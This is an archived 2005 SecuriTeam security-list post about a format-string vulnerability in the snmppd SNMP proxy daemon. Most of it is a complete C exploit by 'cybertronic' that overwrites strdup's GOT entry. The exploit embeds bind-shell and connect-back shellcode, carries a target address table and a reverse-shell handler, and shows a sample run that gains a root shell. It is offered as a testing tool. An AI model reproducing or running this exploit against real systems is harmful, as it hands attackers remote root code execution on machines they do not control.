[EXPL] SNMPPd Format String Vulnerability (Exploit)

SecuriTeam <[email protected]>
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  SNMPPd Format String Vulnerability (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://bubble.nsys.by/projects/snmppd/> snmppd is "an SNMP proxy daemon 
that is designed to work with Nagios. It loads MIBs upon startup, listens 
on a TCP socket for SNMP GET requests, polls the specified host, and 
returns the value to caller process. The caller process is usually the 
Nagios plugin check_snmpp".

A format string vulnerability has been discovered in SNMP Proxy daemon, 
allowing a remote attacker to cause the program to execute arbitrary code. 
The following exploit code can be used to test your system for the 
mentioned vulnerability.

DETAILS

Vulnerable Systems:
 * snmppd version 0.4.5 and prior

Immune Systems:
 * snmppd version 0.5.0

Exploit:
/*
 * Snmppd SNMP proxy daemon format string exploit
 *
 * cybertronic[at]gmx[dot]net
 *
 * 04/29/2005
 *
 * buffer space is 1024 bytes ( MAX_SNMPPD_OID_LEN defined in 
snmppd-0.4.5/snmppd.h )
 *
 * Apr 29 16:01:31 ctronic snmppd[6274]: fd 5: Request: 
XAAAA_804a81e.bfffb9d4.0.0.0.0.35206466.6552203a.73657571.58203a74.41414141
 *
 * This is annoying... there is no fixed input storage.
 * Buffer`s location sometimes varies for 0x980 bytes.
 * Below is a short dump. I highjacked the GOT entry
 * of strdup. Maybe there are some fixed pointers for
 * reliable exploitation. Drop me an email if you have
 * any suggestions
 *
 *
 * __strdup
 *
 * 0xbfffb450:     0x906e6824      0x90909090     0x90909090      
0x90909090
 * 0xbfffb460:     0x90909090      0x90909090     0x90909090      
0x90909090
 * 0xbfffb470:     0x90909090      0x90909090     0x90909090      
0x90909090
 *
 * 0xbfffb3d0:     0x906e6824      0x90909090     0x90909090      
0x90909090
 * 0xbfffb3e0:     0x90909090      0x90909090     0x90909090      
0x90909090
 * 0xbfffb3f0:     0x90909090      0x90909090     0x90909090      
0x90909090
 *
 * 0xbfffb6d0:     0x906e6824      0x90909090     0x90909090      
0x90909090
 * 0xbfffb6e0:     0x90909090      0x90909090     0x90909090      
0x90909090
 * 0xbfffb6f0:     0x90909090      0x90909090     0x90909090      
0x90909090
 *
 * 0xbfffbdd0:     0x906e6824      0x90909090     0x90909090      
0x90909090
 * 0xbfffbde0:     0x90909090      0x90909090     0x90909090      
0x90909090
 * 0xbfffbdf0:     0x90909090      0x90909090     0x90909090      
0x90909090
 *
 * 0xbfffc750:     0x906e6824      0x90909090     0x90909090      
0x90909090
 * 0xbfffc760:     0x90909090      0x90909090     0x90909090      
0x90909090
 * 0xbfffc770:     0x90909090      0x90909090     0x90909090      
0x90909090
 *
 * 0804b1a0 R_386_JUMP_SLOT   malloc
 * 0804b210 R_386_JUMP_SLOT   memset
 * 0804b1fc R_386_JUMP_SLOT   __strdup
 *
 * I succeeded on my third try with the same ret:
 *
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/
 *     /____/
 *
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * --[ connecting to localhost:164...done!
 * --[ select shellcode
 *      |
 *      |- [0] bind
 *      `- [1] cb
 * >> 0
 * --[ using bind shellcode
 * --[ GOT: 0x0804b1fc
 * --[ RET: 0xbfffc750
 * --[ sending packet [ 1023 bytes ]...done!
 * --[ sleeping 5 seconds before connecting to localhost:20000...
 * --[ connecting to localhost:20000...done!
 * --[ b0x pwned - h4ve phun
 * id
 * uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
 *
 *
 */
 
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
 
#define NOP     0x90
 
#define RED     "\E[31m\E[1m"
#define GREEN   "\E[32m\E[1m"
#define YELLOW  "\E[33m\E[1m"
#define BLUE    "\E[34m\E[1m"
#define NORMAL  "\E[m"
 
int connect_to_remote_host ( char* tip, unsigned short tport );
int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, 
char* cbip );
int isip ( char *ip );
int shell ( int s, char* tip );
int usage ( char* name );
 
void start_reverse_handler ( unsigned short cbport );
void connect_to_bindshell ( char* tip, unsigned short bport );
void header ();
void wait ( int sec );
 
/***********************
 * Linux x86 Shellcode *
 ***********************/
 
//131 bytes connect back port: 45295
char reverseshell[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";
 
//92 bytes bindcode port: 20000
char bindshell[] =
"\x31\xdb"                              // xor ebx, ebx
"\xf7\xe3"                              // mul ebx
"\xb0\x66"                              // mov al, 102
"\x53"                                  // push ebx
"\x43"                                  // inc ebx
"\x53"                                  // push ebx
"\x43"                                  // inc ebx
"\x53"                                  // push ebx
"\x89\xe1"                              // mov ecx, esp
"\x4b"                                  // dec ebx
"\xcd\x80"                              // int 80h
"\x89\xc7"                              // mov edi, eax
"\x52"                                  // push edx
"\x66\x68\x4e\x20"                      // push word 8270
"\x43"                                  // inc ebx
"\x66\x53"                              // push bx
"\x89\xe1"                              // mov ecx, esp
"\xb0\xef"                              // mov al, 239
"\xf6\xd0"                              // not al
"\x50"                                  // push eax
"\x51"                                  // push ecx
"\x57"                                  // push edi
"\x89\xe1"                              // mov ecx, esp
"\xb0\x66"                              // mov al, 102
"\xcd\x80"                              // int 80h
"\xb0\x66"                              // mov al, 102
"\x43"                                  // inc ebx
"\x43"                                  // inc ebx
"\xcd\x80"                              // int 80h
"\x50"                                  // push eax
"\x50"                                  // push eax
"\x57"                                  // push edi
"\x89\xe1"                              // mov ecx, esp
"\x43"                                  // inc ebx
"\xb0\x66"                              // mov al, 102
"\xcd\x80"                              // int 80h
"\x89\xd9"                              // mov ecx, ebx
"\x89\xc3"                              // mov ebx, eax
"\xb0\x3f"                              // mov al, 63
"\x49"                                  // dec ecx
"\xcd\x80"                              // int 80h
"\x41"                                  // inc ecx
"\xe2\xf8"                              // loop lp
"\x51"                                  // push ecx
"\x68\x6e\x2f\x73\x68"                  // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69"                  // push dword 69622f2fh
"\x89\xe3"                              // mov ebx, esp
"\x51"                                  // push ecx
"\x53"                                  // push ebx
"\x89\xe1"                              // mov ecx, esp
"\xb0\xf4"                              // mov al, 244
"\xf6\xd0"                              // not al
"\xcd\x80";                             // int 80h
 
typedef struct _args {
        char* tip;
        char* lip;
        int tport;
        int target;
} args;
 
struct targets {
        int  num;
        unsigned long smashaddr;
        unsigned long writeaddr;
        char name[64];
}
 
target[]= {
        { 0, 0x0804b1fc, 0xbfffb3d0, "Red hat Linux 9 ( Shrike ) Kernel 
2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on 
an i686
        { 1, 0x0804b1fc, 0xbfffb6d0, "Red hat Linux 9 ( Shrike ) Kernel 
2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on 
an i686
        { 2, 0x0804b1fc, 0xbfffbde0, "Red hat Linux 9 ( Shrike ) Kernel 
2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on 
an i686
        { 3, 0x0804b1fc, 0xbfffc750, "Red hat Linux 9 ( Shrike ) Kernel 
2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on 
an i686
        { 4, 0xdeadc0de, 0xdeadc0de, "description" }, //add more targets 
if needed
};
 
int connect_to_remote_host ( char* tip, unsigned short tport )
{
        int s;
        struct sockaddr_in remote_addr;
        struct hostent* host_addr;
 
    memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
    if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
        {
                printf ( "cannot resolve \"%s\"\n", tip );
                exit ( 1 );
        }
    remote_addr.sin_family = AF_INET;
    remote_addr.sin_port = htons ( tport );
    remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
    if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
    {
                printf ( "socket failed!\n" );
                exit ( 1 );
        }
        printf ( "--[ connecting to %s:%u...", tip, tport  );
        if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( 
struct sockaddr ) ) ==  -1 )
        {
                printf ( "failed!\n" );
                exit ( 1 );
        }
        printf ( "done!\n" );
        return ( s );
}
 
int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, 
char* cbip )
{
        char buffer[1024];
        char a, b, c, d;
        unsigned int low, high;
        unsigned long ulcbip;
 
        printf ( "--[ GOT: 0x%08x\n", smashaddr );
        printf ( "--[ RET: 0x%08x\n", writeaddr );
 
        a = ( smashaddr & 0xff000000 ) >> 24;
        b = ( smashaddr & 0x00ff0000 ) >> 16;
        c = ( smashaddr & 0x0000ff00 ) >> 8;
        d = ( smashaddr & 0x000000ff );
 
        high = ( writeaddr & 0xffff0000 ) >> 16;
        low  = ( writeaddr & 0x0000ffff );
 
        bzero ( &buffer, sizeof ( buffer ) );
        if ( high < low )
        {
                sprintf ( buffer,
                "X%c%c%c%c"
                "%c%c%c%c"
                "%%.%uu%%11$hn"
                "%%.%uu%%12$hn",
 
                d + 2, c, b, a,
                d,     c, b, a,
                high - 24,
                low - high );
        }
        else
        {
                sprintf ( buffer,
                "X%c%c%c%c"
                "%c%c%c%c"
                "%%.%uu%%12$hn"
                "%%.%uu%%11$hn",
 
                d + 2, c, b, a,
                d,     c, b, a,
                low -24,
                high - low );
        }
        memset ( buffer + strlen ( buffer ), NOP, sizeof ( buffer ) - 
strlen ( buffer ) - 3 );
        if ( cbip == NULL )
                memcpy ( buffer + sizeof ( buffer ) - sizeof ( bindshell ) 
- 3, bindshell, sizeof ( bindshell ) -1 );
        else
        {
                ulcbip = inet_addr ( cbip );
                memcpy ( &reverseshell[33], &ulcbip, 4 );
                memcpy ( buffer + sizeof ( buffer ) - sizeof ( 
reverseshell ) - 3, reverseshell, sizeof ( reverseshell ) -1 );
        }
        strncat ( buffer, "\r\n", 2 );
 
        printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) 
);
        if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
        {
                printf ( "failed!\n" );
                return ( 1 );
        }
        printf ( "done!\n"  );
 
        return ( 0 );
}
 
int isip ( char *ip )
{
        int a, b, c, d;
 
        if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
                return ( 0 );
        if ( a < 1 )
                return ( 0 );
        if ( a > 255 )
                return 0;
        if ( b < 0 )
                return 0;
        if ( b > 255 )
                return 0;
        if ( c < 0 )
                return 0;
        if ( c > 255 )
                return 0;
        if ( d < 0 )
                return 0;
        if ( d > 255 )
                return 0;
        return 1;
}
 
int shell ( int s, char* tip )
{
        int n;
        char buffer[2048];
        fd_set fd_read;
 
        printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" 
YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW 
"4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" 
NORMAL "\n" );
 
        FD_ZERO ( &fd_read );
        FD_SET ( s, &fd_read );
        FD_SET ( 0, &fd_read );
 
        while ( 1 )
        {
                FD_SET ( s, &fd_read );
                FD_SET ( 0, &fd_read );
 
                if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
                        break;
                if ( FD_ISSET ( s, &fd_read ) )
                {
                        if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 
) ) < 0 )
                        {
                                printf ( "bye bye...\n" );
                                return;
                        }
                        if ( write ( 1, buffer, n ) < 0 )
                        {
                                printf ( "bye bye...\n" );
                                return;
                        }
                }
                if ( FD_ISSET ( 0, &fd_read ) )
                {
                        if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) 
< 0 )
                        {
                                printf ( "bye bye...\n" );
                                return;
                        }
                        if ( send ( s, buffer, n, 0 ) < 0 )
                        {
                                printf ( "bye bye...\n" );
                                return;
                        }
                }
                usleep(10);
        }
}
 
int usage ( char* name )
{
        int i;
 
        printf ( "\n" );
        printf ( "Note: all switches have to be specified!\n" );
        printf ( "You can choose between bind and cb shellcode later!\n" 
);
        printf ( "\n" );
        printf ( "Usage: %s -h <tip> -p <tport> -l <cbip> -t <target>\n", 
name );
        printf ( "\n" );
        printf ( "Targets\n\n" );
        for ( i = 0; i < 5; i++ )
                printf ( "\t[%d] [0x%08x] [0x%08x] [%s]\n", target[i].num, 
target[i].smashaddr, target[i].writeaddr, target[i].name );
        printf ( "\n" );
    exit ( 1 );
}
 
void connect_to_bindshell ( char* tip, unsigned short bport )
{
        int s;
        int sec = 5; // change this for fast targets
        struct sockaddr_in remote_addr;
        struct hostent *host_addr;
 
        if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
        {
                fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
                exit ( 1 );
        }
 
        remote_addr.sin_family = AF_INET;
        remote_addr.sin_addr   = * ( ( struct in_addr* ) host_addr->h_addr 
);
        remote_addr.sin_port   = htons ( bport );
 
        if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
    {
                printf ( "socket failed!\n" );
                exit ( 1 );
        }
        printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", 
sec, tip, bport );
        wait ( sec );
        printf ( "--[ connecting to %s:%u...", tip, bport );
        if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( 
struct sockaddr ) ) ==  -1 )
        {
                printf ( RED "failed!\n" NORMAL);
                exit ( 1 );
        }
        printf ( YELLOW "done!\n" NORMAL);
        shell ( s, tip );
}
 
void header ()
{
        printf ( "              __              __                   _     
      \n" );
        printf ( "  _______  __/ /_  ___  _____/ /__________  ____  
(_)____      \n" );
        printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / 
___/  \n" );
        printf ( "/ /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__  
      \n" );
        printf ( "\\___/\\__, /_.___/\\___/_/   \\__/_/   \\____/_/ 
/_/_/\\___/  \n" );
        printf ( "    /____/                                               
      \n\n" );
        printf ( "--[ exploit by : cybertronic - 
cybertronic[at]gmx[dot]net\n" );
}
 
void parse_arguments ( int argc, char* argv[], args* argp )
{
        int i = 0;
 
        while ( ( i = getopt ( argc, argv, "h:p:l:t:" ) ) != -1 )
        {
                switch ( i )
                {
                        case 'h':
                                argp->tip = optarg;
                                break;
                        case 'p':
                                argp->tport = atoi ( optarg );
                                break;
                        case 'l':
                                argp->lip = optarg;
                                break;
                        case 't':
                argp->target = strtoul ( optarg, NULL, 16 );
                    break;
                        case ':':
                        case '?':
                        default:
                                usage ( argv[0] );
            }
    }
 
    if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535 || 
argp->lip == NULL ||  argp->target < 0 || argp->target > 4 )
                usage ( argv[0] );
}
 
void start_reverse_handler ( unsigned short cbport )
{
        int s1, s2;
        struct sockaddr_in cliaddr, servaddr;
        socklen_t clilen = sizeof ( cliaddr );
 
        bzero ( &servaddr, sizeof ( servaddr ) );
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
        servaddr.sin_port = htons ( cbport );
 
        printf ( "--[ starting reverse handler [port: %u]...", cbport );
        if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
        {
                printf ( "socket failed!\n" );
                exit ( 1 );
        }
        bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
        if ( listen ( s1, 1 ) == -1 )
        {
                printf ( "listen failed!\n" );
                exit ( 1 );
        }
        printf ( "done!\n" );
        if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) 
) < 0 )
        {
                printf ( "accept failed!\n" );
                exit ( 1 );
        }
        close ( s1 );
        printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( 
cliaddr.sin_addr ) );
        shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ) );
        close ( s2 );
}
 
void wait ( int sec )
{
        sleep ( sec );
}
 
int main ( int argc, char* argv[] )
{
        int s, option;
        args myargs;
 
        system ( "clear" );
        header ();
        parse_arguments ( argc, argv, &myargs );
        s = connect_to_remote_host ( myargs.tip, myargs.tport );
 
        printf ( "--[ select shellcode\n" );
        printf ( "     |\n" );
        printf ( "     |- [0] bind\n" );
        printf ( "     `- [1] cb\n" );
        printf ( ">> " );
        scanf ( "%d", &option );
        switch ( option )
                {
                        case 0:
                                printf ( "--[ using bind shellcode\n" );
                                if ( exploit ( s, 
target[myargs.target].smashaddr, target[myargs.target].writeaddr, NULL ) 
== 1 )
                                {
                                        printf ( "exploitation failed!\n" 
);
                                        exit ( 1 );
                                }
                                connect_to_bindshell ( myargs.tip, 20000 
);
                                break;
                        case 1:
                                printf ( "--[ using cb shellcode\n" );
                                if ( exploit ( s, 
target[myargs.target].smashaddr, target[myargs.target].writeaddr, 
myargs.lip ) == 1 )
                                {
                                        printf ( "exploitation failed!\n" 
);
                                        exit ( 1 );
                                }
                                start_reverse_handler ( 45295 );
                                break;
                        default:
                                printf ( "--[ invalid shellcode!\n" ); 
exit ( 1 );
            }
        close ( s );
        return 0;
}

/* EOF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
cybertronic.
An advisory regarding this vulnerability can be found at:  
<http://www.securiteam.com/unixfocus/5WP0K1FFGG.html> 
http://www.securiteam.com/unixfocus/5WP0K1FFGG.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.